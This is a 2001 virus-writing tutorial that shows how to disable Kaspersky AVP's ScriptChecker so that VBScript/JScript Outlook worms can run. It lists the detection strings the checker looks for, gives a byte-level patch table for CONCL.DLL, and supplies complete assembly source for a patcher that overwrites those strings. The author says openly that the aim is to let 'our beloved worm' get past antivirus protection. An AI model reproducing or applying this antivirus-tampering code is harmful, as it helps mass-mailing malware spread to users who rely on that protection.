=============================
Defeating AVP ScriptChecker
-----------------------------
Written by LiteSYS/XAKER
Venezuela - 2001
=============================
INTRO
~~~~~
AVP ScriptChecker is a real pain in the ass, mainly because it monitors
every VBScript and JScript that is run and will deny the execution of
those scripts with the following strings:
- .AddressEntries
- .Attachments
- .HTMLBody
- .Attach
- .Send
- .AddressLists
- Outlook.Application
Rendering every VBS/JS Outlook Worm to the uselessness by putting
a dialog with the "This script contains instructions that are
virus-like" text and a "Deny" button...
But it can be (very easily) defeated, you only need to have some assembly
skills to do what i'll show you. Albeit it's a very lame way, it works
very fine.
THE BASICS
~~~~~~~~~~
You may take a look at the AVP directory files and find something
called AVPSCRCH.DLL which is the main DLL but it's totally
noninteresting because it loads another one called CONCL.DLL.
CONCL.DLL is the interesting one, and contains the strings
(in my AVP v3.5.133):
first byte address string
5080 .attachments
5090 .htmlbody
509C .attach
50A4 .send
50AC .addresslists
50BC outlook.application
Those are the strings used by the Script Checker, so when a VBS/JS
Script is run and contains those strings, the dialog mentioned
above will appear and your worm won't run =(.
Deleting the file will be a very stupid way because the script
won't run anymore.
So what are we going to do? Patch the file! just by changing those
strings with nonsense stuff, so the Script Checker will search for
those "nonsense stuff" strings instead of searching for our beloved
worm strings, and as you may imagine, our proggie will run with no
problemo.
It's logic that the "nonsense stuff" strings length must be the
same as the other strings, for example, the ".attachments" string
is 12 bytes long, so we must overwrite it with another 12 bytes
long nonsense string.
In the 3.5.133 AVP Build of CONCL.DLL, those are the following
values we are going to change (this time the "nonsense stuff"
are just ascii zero (30) chars):
---------------------
00005071: 61 30
00005072: 64 30
00005073: 64 30
00005074: 72 30
00005075: 65 30
00005076: 73 30
00005077: 73 30
00005078: 65 30
00005079: 6E 30
0000507A: 74 30
0000507B: 72 30
0000507C: 69 30
0000507D: 65 30
0000507E: 73 30
00005081: 61 30
00005082: 74 30
00005083: 74 30
00005084: 61 30
00005085: 63 30
00005086: 68 30
00005087: 6D 30
00005088: 65 30
00005089: 6E 30
0000508A: 74 30
0000508B: 73 30
00005091: 68 30
00005092: 74 30
00005093: 6D 30
00005094: 6C 30
00005095: 62 30
00005096: 6F 30
00005097: 64 30
00005098: 79 30
0000509D: 61 30
0000509E: 74 30
0000509F: 74 30
000050A0: 61 30
000050A1: 63 30
000050A2: 68 30
000050A5: 73 30
000050A6: 65 30
000050A7: 6E 30
000050A8: 64 30
000050AD: 61 30
000050AE: 64 30
000050AF: 64 30
000050B0: 72 30
000050B1: 65 30
000050B2: 73 30
000050B3: 73 30
000050B4: 6C 30
000050B5: 69 30
000050B6: 73 30
000050B7: 74 30
000050B8: 73 30
000050BD: 75 30
000050BE: 74 30
000050BF: 6C 30
000050C0: 6F 30
000050C1: 6F 30
000050C2: 6B 30
000050C3: 2E 30
000050C4: 61 30
000050C5: 70 30
000050C6: 70 30
000050C7: 6C 30
000050C8: 69 30
000050C9: 63 30
000050CA: 61 30
000050CB: 74 30
000050CC: 69 30
000050CD: 6F 30
000050CE: 6E 30
---------------------
As I said before, it's a very lame way... but not as lame as deleting
the file... so here is the "generic patch", just use it to learn the
technique, don't rip it, code your own one =D.
BTW, the code sucks, is not optimized and is very redundant, but it
was meant to be easily understandable!.. so here it is:
---------------------
.386
.MODEL FLAT, STDCALL
LOCALS
JUMPS
INCLUDE C:\TOOLS\TASM\INCLUDE\WIN32API.INC
INCLUDE C:\TOOLS\TASM\INCLUDE\WINDOWS.INC
EXTRN ExitProcess:PROC
EXTRN CreateFileA:PROC
EXTRN CreateFileMappingA:PROC
EXTRN MapViewOfFile:PROC
EXTRN UnmapViewOfFile:PROC
EXTRN CloseHandle:PROC
EXTRN MessageBoxA:PROC
.DATA
DD 00000000h
.CODE
PROG:
PUSH NULL
PUSH FILE_ATTRIBUTE_NORMAL
PUSH OPEN_EXISTING
PUSH NULL
PUSH NULL
PUSH GENERIC_READ + GENERIC_WRITE
PUSH OFFSET CONCL
CALL CreateFileA ; Open the file
MOV DWORD PTR [FHANDLE], EAX
INC EAX
JZ NOS_JODIMOS
PUSH NULL
PUSH NULL
PUSH NULL
PUSH PAGE_READWRITE
PUSH NULL
PUSH DWORD PTR [FHANDLE]
CALL CreateFileMappingA ; Create a File Mapping Object.
MOV DWORD PTR [MAPHANDLE], EAX
OR EAX, EAX
JZ NOS_JODIMOS
PUSH NULL
PUSH NULL
PUSH NULL
PUSH FILE_MAP_WRITE + FILE_MAP_READ
PUSH DWORD PTR [MAPHANDLE]
CALL MapViewOfFile ; Map the file in memory
MOV DWORD PTR [BASEMAP], EAX ; And get the Base Address.
OR EAX, EAX
JZ NOS_JODIMOS
MOV EDI, BASEMAP
ADD EDI, 5070h
CMP DWORD PTR [EDI], "dda." ; Is it our string?
JNE NOS_JODIMOS ; No...
INC EDI
MOV ECX, 0Eh
MOV AL, '0'
REP STOSB ; Replace it with zeroes.
MOV EDI, BASEMAP
ADD EDI, 5080h
CMP DWORD PTR [EDI], "tta." ; Is it our string?
JNE NOS_JODIMOS ; No...
INC EDI
MOV ECX, 0Bh
MOV AL, '0'
REP STOSB ; Replace it with zeroes.
MOV EDI, BASEMAP
ADD EDI, 5090h
CMP DWORD PTR [EDI], "mth." ; Is it our string?
JNE NOS_JODIMOS ; No...
INC EDI
MOV ECX, 08h
MOV AL, '0'
REP STOSB ; Replace it with zeroes.
MOV EDI, BASEMAP
ADD EDI, 509Ch
CMP DWORD PTR [EDI], "tta." ; Is it our string?
JNE NOS_JODIMOS ; No...
INC EDI
MOV ECX, 06h
MOV AL, '0'
REP STOSB ; Replace it with zeroes.
MOV EDI, BASEMAP
ADD EDI, 50A4h
CMP DWORD PTR [EDI], "nes." ; Is it our string?
JNE NOS_JODIMOS ; No...
INC EDI
MOV ECX, 04h
MOV AL, '0'
REP STOSB ; Replace it with zeroes.
MOV EDI, BASEMAP
ADD EDI, 50ACh
CMP DWORD PTR [EDI], "dda." ; Is it our string?
JNE NOS_JODIMOS ; No...
INC EDI
MOV ECX, 0Ch
MOV AL, '0'
REP STOSB ; Replace it with zeroes.
MOV EDI, BASEMAP
ADD EDI, 50BCh
CMP DWORD PTR [EDI], "ltuo" ; Is it our string?
JNE NOS_JODIMOS ; No...
INC EDI
MOV ECX, 12h
MOV AL, '0'
REP STOSB ; Replace it with zeroes.
PUSH BASEMAP
CALL UnmapViewOfFile ; Unmap the file.
PUSH [MAPHANDLE]
CALL CloseHandle ; Close the file mapping object.
PUSH [FHANDLE]
CALL CloseHandle ; Close the file.
JMP TODO_BIEN
NOS_JODIMOS:
PUSH 0
PUSH OFFSET TITULO
PUSH OFFSET NOSJO
PUSH 0
CALL MessageBoxA
JMP FINALE
TODO_BIEN:
PUSH 0
PUSH OFFSET TITULO
PUSH OFFSET BIENB
PUSH 0
CALL MessageBoxA
FINALE:
PUSH 0
CALL ExitProcess
FHANDLE DD 00000000h
MAPHANDLE DD 00000000h
BASEMAP DD 00000000h
CONCL DB "CONCL.DLL", 00h
TITULO DB "LiteSYS' AVP ScriptChecker Patch.", 00h
NOSJO DB "FILE NOT PATCHED", 00h
BIENB DB "FILE SUCCESFULY PATCHED", 00h
END PROG
---------------------
I hope this helped you...
That's all.
Any comment/correction/question can be sent to liteno2@softhome.net.
If it's a very important thing, use my PGP public key.
Peace,
LiteSYS.
Venezuela - 2001
http://www.xakercentral.com